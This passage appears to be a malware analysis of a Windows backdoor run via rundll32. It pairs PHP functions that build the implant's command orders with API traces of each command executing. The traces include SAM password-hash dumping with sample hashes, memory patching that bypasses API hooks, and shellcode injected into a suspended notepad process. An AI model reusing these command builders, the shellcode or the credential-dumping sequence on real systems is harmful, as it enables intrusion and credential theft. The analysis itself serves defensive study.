[API] <NtSetContextThread> in [ntdll.dll]
[PAR] HANDLE ThreadHandle : 0x32c
[PAR] PCONTEXT Context : 0x0000001E0D95D990
[FLD] -> ContextFlags = 0x10000b (CONTEXT_CONTROL | CONTEXT_INTEGER)
[FLD] -> Rip = 0x2de0000
[FLD] -> Rsp = 0x00000000053BF898
[FLD] -> Rbx = 0x0000000000000002
[FLD] -> Rcx = 0x00007FFF8AF711FA
[FLD] -> Rdi = 0x0000000000000002
[FLD] -> R8 = 0x00000000053BF898
[FLD] -> R9 = 0x00000000053BFCC0
[FLD] -> R11 = 0x0000000000000246
[FLD] -> R12 = 0x0000000000000008
[FLD] -> R13 = 0x00000000053BFC00
[RET] [0x1e0f8a6098]
III. Result
[CNT] [818]
[PTP] [0x630] [0x36c] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x0000001E0D966220
[STR] -> "BAE1"
[STR] "1976 1108 32C 00007FFF8AF711FA 0000000002DE0000 0"
[PAR] DWORD cbBinary : 0x6e
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x0000001E0D979A20
[PAR] DWORD* pcchString : 0x0000001E0F93E81C
[RET] [0x1e0f89e028]
connect_localhost_global_struct
TODO
/*
connect_localhost_global_struct("0");
*/
function connect_localhost_global_struct($index)
{
$cmd_id = "\xed\xf2 $index";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
WriteMemory
Writes given data to a specified address in memory, likely used for hooking or patching DLL as hinted by the 0x30 bytes VirtualQuery
/*
ex: WriteMemory("180000000", "48454c4c4f");
*/
function WriteMemory($address, $data)
{
$cmd_id = "\xd8\x3b $address $data";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [393]
[PTP] [0xaa0] [0x8d8] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000008159EFA750
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+Js/mSNMMOQ/20xe8M0lu9XoKZ2slpciUHJTsOT0OOM70BQXImqZPcZeBV/T2dtuQNJIptA=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x0000008159F00D80
[PAR] DWORD *pcbBinary : 0x000000815BEFE5DC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x815be5bea1]
II. Execution
[CNT] [403]
[PTP] [0xaa0] [0x8d8] [c:\windows\system32\rundll32.exe]
[API] <VirtualQuery> in [KERNEL32.DLL]
[PAR] LPCVOID lpAddress : 0x0000000180000000
[PAR] PMEMORY_BASIC_INFORMATION lpBuffer : 0x000000815BEFE4C0
[PAR] SIZE_T dwLength : 0x30
[RET] [0x815be64bb2]
[CNT] [404]
[PTP] [0xaa0] [0x8d8] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtProtectVirtualMemory> in [ntdll.dll]
[PAR] HANDLE ProcessHandle : 0xFFFFFFFFFFFFFFFF
[PAR] PVOID *BaseAddress : 0x000000815BEFE4B0
[FLD] -> BaseAddress = 0x0000000180000000 (x64_stealth.dll)
[PAR] PULONG NumberOfBytesToProtect : 0x000000815BEFE4B8 (0x5)
[PAR] ULONG NewAccessProtection : 0x4 (PAGE_READWRITE)
[RET] [0x815be74c5c]
[CNT] [405]
[PTP] [0xaa0] [0x8d8] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtProtectVirtualMemory> in [ntdll.dll]
[PAR] HANDLE ProcessHandle : 0xFFFFFFFFFFFFFFFF
[PAR] PVOID *BaseAddress : 0x000000815BEFE4B0
[FLD] -> BaseAddress = 0x0000000180000000 (x64_stealth.dll)
[PAR] PULONG NumberOfBytesToProtect : 0x000000815BEFE4B8 (0x1000)
[PAR] ULONG NewAccessProtection : 0x2 (PAGE_READONLY)
[RET] [0x815be74c5c]
III. Result
[CNT] [415]
[PTP] [0xaa0] [0x8d8] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x0000008159F03470
[STR] -> "D83B"
[STR] "0000000180000000"
[PAR] DWORD cbBinary : 0x2a
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x0000008159F058E0
[PAR] DWORD* pcchString : 0x000000815BEFE3CC
[RET] [0x815be5e028]
GetUsersPwdHashes
Retrieves user password hashes following the documented method as explained in this blog post
function GetUsersPwdHashes()
{
$cmd_id = "\x3b\xa2";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000AE276B0140
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+W73cErJ4Hw/Yqg=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000AE276C1EA0
[PAR] DWORD *pcbBinary : 0x000000AE297BEB5C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0xae2971bea1]
II. Execution
[CNT] [338]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RtlAdjustPrivilege> in [ntdll.dll]
[PAR] ULONG Privilege : 0x14
[PAR] BOOLEAN Enable : 0x1
[PAR] BOOLEAN Client : 0x0
[PAR] PBOOLEAN WasEnabled : 0x000000AE297BE67C
[RET] [0xae29719a5c]
[CNT] [339]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcessToken> in [ntdll.dll]
[PAR] HANDLE ProcessHandle : 0xFFFFFFFFFFFFFFFF
[PAR] ACCESS_MASK DesiredAccess : 0x8 (TOKEN_QUERY)
[PAR] PHANDLE TokenHandle : 0x000000AE297BE648
[RET] [0xae29734b2f]
[CNT] [340]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <LookupPrivilegeValueA> in [ADVAPI32.dll]
[PAR] LPCTSTR lpSystemName : 0x0 (null)
[PAR] LPCTSTR lpName : 0x000000AE297BE65B
[STR] -> "SeDebugPrivilege"
[RET] [0xae2971a385]
[CNT] [341]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <PrivilegeCheck> in [ADVAPI32.dll]
[PAR] HANDLE ClientToken : 0x2e0
[PAR] PPRIVILEGE_SET RequiredPrivileges : 0x000000AE297BE66C
[PAR] LPBOOL pfResult : 0x000000AE297BE644
[RET] [0xae2971a3c9]
[CNT] [342]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <CreateToolhelp32Snapshot> in [KERNEL32.DLL]
[PAR] DWORD dwFlags : 0x2 ( TH32CS_SNAPPROCESS)
[PAR] DWORD th32ProcessID : 0x0
[RET] [0xae2971ed24]
[CNT] [343]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <Process32FirstW> in [KERNEL32.DLL]
[PAR] HANDLE hSnapshot : 0x2e0
[PAR] LPPROCESSENTRY32W lppe : 0x000000AE297BE428
[RET] [0xae2971ed43]
[CNT] [344]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <Process32NextW> in [KERNEL32.DLL]
[PAR] HANDLE hSnapshot : 0x2e0
[PAR] LPPROCESSENTRY32W lppe : 0x000000AE297BE428
[RET] [0xae2971ed53]
[ * ] [pid 0xa84][tid 0x9bc] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x000000AE297BE428
[FLD] -> th32ProcessID = 0x4
[FLD] -> szExeFile = "System"
[RES] BOOL 0x1
[...]
[ * ] [pid 0xa84][tid 0x9bc] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x000000AE297BE428
[FLD] -> th32ProcessID = 0x1c8
[FLD] -> szExeFile = "winlogon.exe"
[RES] BOOL 0x1
[CNT] [356]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll]
[PAR] PHANDLE ProcessHandle : 0x000000AE297BE6F0
[PAR] ACCESS_MASK DesiredAccess : 0x400 (PROCESS_QUERY_INFORMATION)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x000000AE297BE730
[PAR] PCLIENT_ID ClientId : 0x000000AE297BE708
[FLD] -> UniqueProcess = 0x1c8
[FLD] -> UniqueThread = 0x0
[RET] [0xae29734aab]
[CNT] [365]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcessToken> in [ntdll.dll]
[PAR] HANDLE ProcessHandle : 0x2e0
[PAR] ACCESS_MASK DesiredAccess : 0xa (TOKEN_DUPLICATE | TOKEN_QUERY)
[PAR] PHANDLE TokenHandle : 0x000000AE297CB210
[RET] [0xae29734b2f]
[CNT] [366]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <ImpersonateLoggedOnUser> in [ADVAPI32.dll]
[PAR] HANDLE hToken : 0x2d0
[RET] [0xae297203c8]
[CNT] [369]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x80000002 (HKEY_LOCAL_MACHINE)
[PAR] LPCWSTR lpSubKey : 0x000000AE276B0CF0
[STR] -> "SYSTEM"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2972c23e]
[CNT] [376]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e0
[PAR] LPCWSTR lpSubKey : 0x000000AE29738604
[STR] -> "Select"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970d1bf]
[CNT] [377]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegQueryValueExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e8
[PAR] LPCWSTR lpValueName : 0x000000AE297385E4
[STR] -> "Current"
[PAR] LPBYTE lpData : 0x000000AE297BE87C
[PAR] LPDWORD lpcbData : 0x000000AE297BE878
[RET] [0xae2970d204]
[CNT] [380]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e0
[PAR] LPCWSTR lpSubKey : 0x000000AE276C2290
[STR] -> "ControlSet001"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970d262]
[CNT] [381]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegQueryValueExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e8
[PAR] LPCWSTR lpValueName : 0x000000AE297385F4
[STR] -> "Default"
[PAR] LPBYTE lpData : 0x000000AE297BE87C
[PAR] LPDWORD lpcbData : 0x000000AE297BE878
[RET] [0xae2970d204]
[CNT] [384]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e0
[PAR] LPCWSTR lpSubKey : 0x000000AE276C2110
[STR] -> "ControlSet001"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970d262]
[CNT] [385]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegCloseKey> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e8
[RET] [0xae2970d292]
[CNT] [386]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f0
[PAR] LPCWSTR lpSubKey : 0x000000AE276B0DB0
[STR] -> "Control\LSA"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970e19c]
[CNT] [387]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e8
[PAR] LPCWSTR lpSubKey : 0x000000AE29738638
[STR] -> "JD"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970e1d1]
[CNT] [388]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegQueryInfoKeyW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f4
[PAR] LPWSTR lpClass : 0x000000AE297BE99E
[PAR] LPDWORD lpcchClass : 0x000000AE297BE954
[PAR] LPDWORD lpReserved : 0x0
[PAR] LPDWORD lpcSubKeys : 0x0
[PAR] LPDWORD lpcbMaxSubKeyLen : 0x0
[PAR] LPDWORD lpcbMaxClassLen : 0x0
[PAR] LPDWORD lpcValues : 0x0
[PAR] LPDWORD lpcbMaxValueNameLen : 0x0
[PAR] LPDWORD lpcbMaxValueLen : 0x0
[PAR] LPDWORD lpcbSecurityDescriptor : 0x0
[PAR] PFILETIME lpftLastWriteTime : 0x0
[RET] [0xae2970e248]
[CNT] [391]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e8
[PAR] LPCWSTR lpSubKey : 0x000000AE2973863E
[STR] -> "Skew1"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970e1d1]
[CNT] [392]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegQueryInfoKeyW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f4
[PAR] LPWSTR lpClass : 0x000000AE297BE99E
[PAR] LPDWORD lpcchClass : 0x000000AE297BE954
[PAR] LPDWORD lpReserved : 0x0
[PAR] LPDWORD lpcSubKeys : 0x0
[PAR] LPDWORD lpcbMaxSubKeyLen : 0x0
[PAR] LPDWORD lpcbMaxClassLen : 0x0
[PAR] LPDWORD lpcValues : 0x0
[PAR] LPDWORD lpcbMaxValueNameLen : 0x0
[PAR] LPDWORD lpcbMaxValueLen : 0x0
[PAR] LPDWORD lpcbSecurityDescriptor : 0x0
[PAR] PFILETIME lpftLastWriteTime : 0x0
[RET] [0xae2970e248]
[CNT] [395]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e8
[PAR] LPCWSTR lpSubKey : 0x000000AE2973864A
[STR] -> "GBG"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970e1d1]
[CNT] [396]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegQueryInfoKeyW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f4
[PAR] LPWSTR lpClass : 0x000000AE297BE99E
[PAR] LPDWORD lpcchClass : 0x000000AE297BE954
[PAR] LPDWORD lpReserved : 0x0
[PAR] LPDWORD lpcSubKeys : 0x0
[PAR] LPDWORD lpcbMaxSubKeyLen : 0x0
[PAR] LPDWORD lpcbMaxClassLen : 0x0
[PAR] LPDWORD lpcValues : 0x0
[PAR] LPDWORD lpcbMaxValueNameLen : 0x0
[PAR] LPDWORD lpcbMaxValueLen : 0x0
[PAR] LPDWORD lpcbSecurityDescriptor : 0x0
[PAR] PFILETIME lpftLastWriteTime : 0x0
[RET] [0xae2970e248]
[CNT] [399]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e8
[PAR] LPCWSTR lpSubKey : 0x000000AE29738652
[STR] -> "Data"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970e1d1]
[CNT] [400]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegQueryInfoKeyW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f4
[PAR] LPWSTR lpClass : 0x000000AE297BE99E
[PAR] LPDWORD lpcchClass : 0x000000AE297BE954
[PAR] LPDWORD lpReserved : 0x0
[PAR] LPDWORD lpcSubKeys : 0x0
[PAR] LPDWORD lpcbMaxSubKeyLen : 0x0
[PAR] LPDWORD lpcbMaxClassLen : 0x0
[PAR] LPDWORD lpcValues : 0x0
[PAR] LPDWORD lpcbMaxValueNameLen : 0x0
[PAR] LPDWORD lpcbMaxValueLen : 0x0
[PAR] LPDWORD lpcbSecurityDescriptor : 0x0
[PAR] PFILETIME lpftLastWriteTime : 0x0
[RET] [0xae2970e248]
[CNT] [441]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x80000002 (HKEY_LOCAL_MACHINE)
[PAR] LPCWSTR lpSubKey : 0x000000AE2768C040
[STR] -> "SAM"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2972c28e]
[CNT] [442]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f0
[PAR] LPCWSTR lpSubKey : 0x000000AE276C2320
[STR] -> "SAM\Domains\Account"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970e8be]
[CNT] [449]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegQueryValueExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f4
[PAR] LPCWSTR lpValueName : 0x000000AE297386EE
[STR] -> "F"
[PAR] LPBYTE lpData : 0x000000AE276BEE70
[PAR] LPDWORD lpcbData : 0x000000AE297BE4BC
[RET] [0xae29717a18]
[...]
[CNT] [490]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2e8
[PAR] LPCWSTR lpSubKey : 0x000000AE276B0BF0
[STR] -> "Users"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970e931]
[CNT] [491]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegQueryInfoKeyW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f4
[PAR] LPWSTR lpClass : 0x0
[PAR] LPDWORD lpcchClass : 0x0
[PAR] LPDWORD lpReserved : 0x0
[PAR] LPDWORD lpcSubKeys : 0x000000AE297BE768
[PAR] LPDWORD lpcbMaxSubKeyLen : 0x000000AE297BE76C
[PAR] LPDWORD lpcbMaxClassLen : 0x0
[PAR] LPDWORD lpcValues : 0x0
[PAR] LPDWORD lpcbMaxValueNameLen : 0x0
[PAR] LPDWORD lpcbMaxValueLen : 0x0
[PAR] LPDWORD lpcbSecurityDescriptor : 0x0
[PAR] PFILETIME lpftLastWriteTime : 0x0
[RET] [0xae2970e99b]
[CNT] [492]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegEnumKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f4
[PAR] DWORD dwIndex : 0x0
[PAR] LPWSTR lpName : 0x000000AE276B0850
[PAR] LPDWORD lpcchName : 0x000000AE297BE770
[FLD] -> cchName = 0x9
[PAR] LPDWORD lpReserved : 0x0
[PAR] LPWSTR lpClass : 0x0
[PAR] LPDWORD lpcchClass : 0x0
[PAR] PFILETIME lpftLastWriteTime : 0x0
[RET] [0xae2970ea23]
[CNT] [495]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegOpenKeyExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f4
[PAR] LPCWSTR lpSubKey : 0x000000AE276B0850
[STR] -> "000001F4"
[PAR] DWORD ulOptions : 0x0
[RET] [0xae2970ea9a]
[CNT] [496]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <RegQueryValueExW> in [ADVAPI32.dll]
[PAR] HKEY hKey : 0x2f8
[PAR] LPCWSTR lpValueName : 0x000000AE2973875E
[STR] -> "V"
[PAR] LPBYTE lpData : 0x0
[PAR] LPDWORD lpcbData : 0x000000AE297BE6AC
[RET] [0xae297179da]
III. Result
CNT] [625]
[PTP] [0xa84] [0x9bc] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000AE276BF200
[STR] -> "3BA2"
[STR] "AA 20044266A8215CD84A3E9BE5FD344792"
[STR] "AB E06ED9E612C1052E5CB6BD3039DE0911"
[STR] "Administrateur 12 87D2CC8AAF6E545E03B47033D20BC3B7"
[STR] "user 12 ECDC95224F55C488F2A6C2FEECD6CF63"
[PAR] DWORD cbBinary : 0x152
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000AE276ACC80
[PAR] DWORD* pcchString : 0x000000AE297BE99C
[RET] [0xae2971e028]
CreateProcessSuspendedInjectThread
/*
This command requires the command line of the created process to be set through another command :
For instance : "\xa9\xc3 "5", "notepad";
*/
function CreateProcessConf3()
{
$buf = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d";
$buf = $buf . "\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01";
$buf = $buf . "\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01";
$buf = $buf . "\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31";
$buf = $buf . "\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45";
$buf = $buf . "\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b";
$buf = $buf . "\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31";
$buf = $buf . "\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2";
$buf = $buf . "\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
$buff_b64 = base64_encode($buf);
$cmd_id = "\xd2\xe3 $buff_b64";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [441]
[PTP] [0x868] [0x994] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000005762065960
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+ZejYSNALKR/Z+m/7JFVt6mkPC2JHwa3RCInrYyEANMKocwnwlZNgTpy8e+GFCaDmO68uza2hYP05ZdOeB6f3Saw7FrkmUj7E"
[STR] "3HBijUdmlXaWWlcgTG1E3XIaB7zs7PhUhdJf/XKlyDXshsydfUgYhspugDMch169PEE/1qlUdLJ3/koztpRFxNk87U3S6Vo7c5iumADp6UjFuWXx0dKZXJhx"
[STR] "VDCSEumGmM0aXMQu4ysNsJzaqYQhQReIN0Jr3Y2xmoKsB6p0CHHxNdzI+M0vfaXkAI/938ik6UPVrYS9EmEu2Z8vlZ5y+5Cs4sA8/7UCdXMzaz3y5eJr+8eK"
[STR] "qaVFUELKQs0fUNg5/rKhXB1b67Mfg/K0tGvaT8HumUEGT1VBgbVlQ7hlYP7xVGj5q5Vvm+Vs4qfFWi3KzKlGU8gzRDRf8aK9i5n2a+QWV5QeShMbI470cXHe"
[STR] "zcQjxKxLvIsKRtG++4t/xTlECj8BgA=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000057620321E0
[PAR] DWORD *pcbBinary : 0x000000576406EA8C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x5763fcbea1]
II. Execution
[CNT] [479]
[PTP] [0x868] [0xaf8] [c:\windows\system32\rundll32.exe]
[API] <RtlAdjustPrivilege> in [ntdll.dll]
[PAR] ULONG Privilege : 0x14
[PAR] BOOLEAN Enable : 0x1
[PAR] BOOLEAN Client : 0x0
[PAR] PBOOLEAN WasEnabled : 0x00000057646DEEEC
[RET] [0x5763fc9a5c]
[CNT] [483]
[PTP] [0x868] [0xaf8] [c:\windows\system32\rundll32.exe]
[API] <CreatePipe> in [KERNEL32.DLL]
[PAR] PHANDLE hReadPipe : 0x00000057646DDDE8
[PAR] PHANDLE hWritePipe : 0x00000057646DDDF0
[PAR] LPSECURITY_ATTRIBUTES lpPipeAttributes : 0x00000057646DDE28
[PAR] DWORD nSize : 0x0
[RET] [0x5763fdb70d]
[ * ] [pid 0x868][tid 0xaf8] c:\windows\system32\rundll32.exe
[API] <CreatePipe>
[PAR] HANDLE hReadPipe : 0x37c
[PAR] HANDLE hWritePipe : 0x3a0
[RES] BOOL 0x1
[CNT] [486]
[PTP] [0x868] [0xaf8] [c:\windows\system32\rundll32.exe]
[API] <SetHandleInformation> in [KERNEL32.DLL]
[PAR] HANDLE hObject : 0x37c
[PAR] DWORD dwMask : 0x1
[PAR] DWORD dwFlags : 0x0
[RET] [0x5763fdb72b]
[CNT] [495]
[PTP] [0x868] [0xaf8] [c:\windows\system32\rundll32.exe]
[API] <CreateProcessA> in [KERNEL32.DLL]
[PAR] LPCTSTR lpApplicationName : 0x0 (null)
[PAR] LPCTSTR lpCommandLine : 0x000000576202A180
[STR] -> "notepad"
[PAR] LPSECURITY_ATTRIBUTES lpProcessAttributes : 0x0
[PAR] LPSECURITY_ATTRIBUTES lpThreadAttributes : 0x0
[PAR] BOOL bInheritHandles : 0x1
[PAR] DWORD dwCreationFlags : 0x8000004 (CREATE_NO_WINDOW | CREATE_SUSPENDED)
[PAR] LPVOID lpEnvironment : 0x0
[PAR] LPCSTR lpCurrentDirectory : 0x0 (null)
[PAR] LPSTARTUPINFOA lpStartupInfo : 0x00000057646DDE40
[FLD] -> lpDesktop = 0x0 (null)
[FLD] -> lpTitle = 0x0 (null)
[FLD] -> dwFlags = 0x100 (STARTF_USESTDHANDLES)
[FLD] -> wShowWindow = 0x0
[FLD] -> hStdInput = 0x0
[FLD] -> hStdOutput = 0x3a0
[FLD] -> hStdError = 0x3a0
[PAR] LPPROCESS_INFORMATION lpProcessInformation : 0x00000057646DDE10
[RET] [0x5763fdb8ee]
[CNT] [508]
[PTP] [0x868] [0xaf8] [c:\windows\system32\rundll32.exe]
[API] <VirtualAllocEx> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x388
[PAR] LPVOID lpAddress : 0x0
[PAR] SIZE_T dwSize : 0xbe
[PAR] DWORD flAllocationType : 0x3000
[PAR] DWORD flProtect : 0x4 (PAGE_READWRITE)
[RET] [0x5763fb6395]
[CNT] [509]
[PTP] [0x868] [0xaf8] [c:\windows\system32\rundll32.exe]
[API] <WriteProcessMemory> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x388
[PAR] LPVOID lpBaseAddress : 0x000000B124550000
[PAR] LPCVOID lpBuffer : 0x0000005762023CD0
[PAR] SIZE_T nSize : 0xbd
[RET] [0x5763fb63bd]
[CNT] [510]
[PTP] [0x868] [0xaf8] [c:\windows\system32\rundll32.exe]
[API] <VirtualProtectEx> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x388
[PAR] LPVOID lpAddress : 0x000000B124550000
[PAR] SIZE_T dwSize : 0xbe
[PAR] DWORD flNewProtect : 0x20 (PAGE_EXECUTE_READ)
[RET] [0x5763fb63e4]
[CNT] [521]
[PTP] [0x868] [0xaf8] [c:\windows\system32\rundll32.exe]
[API] <CreateRemoteThread> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x388
[PAR] LPSECURITY_ATTRIBUTES lpThreadAttributes : 0x0
[PAR] SIZE_T dwStackSize : 0x100000
[PAR] LPTHREAD_START_ROUTINE lpStartAddress : 0x000000B124550014
[PAR] LPVOID lpParameter : 0x0
[PAR] DWORD dwCreationFlags : 0x0
[PAR] LPDWORD lpThreadId : 0x00000057646DD694
[RET] [0x5763fb5e93]
[CNT] [529]
[PTP] [0xbf8] [0x5b4] [c:\windows\system32\notepad.exe]
[API] <WinExec> in [KERNEL32.DLL]
[PAR] LPCSTR lpCmdLine : 0x000000B12465F8A8
[STR] -> "calc.exe"
[RET] [0xb1245500bd]
unknown_update_global_struct
Update an array of base64 encoded data in the malware global state structure
TODO
StopService
// StopService("localhost", "evil");
function StopService($MachineName, $ServiceName)
{
$cmd_id = "\xb3\xd2 $MachineName $ServiceName";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
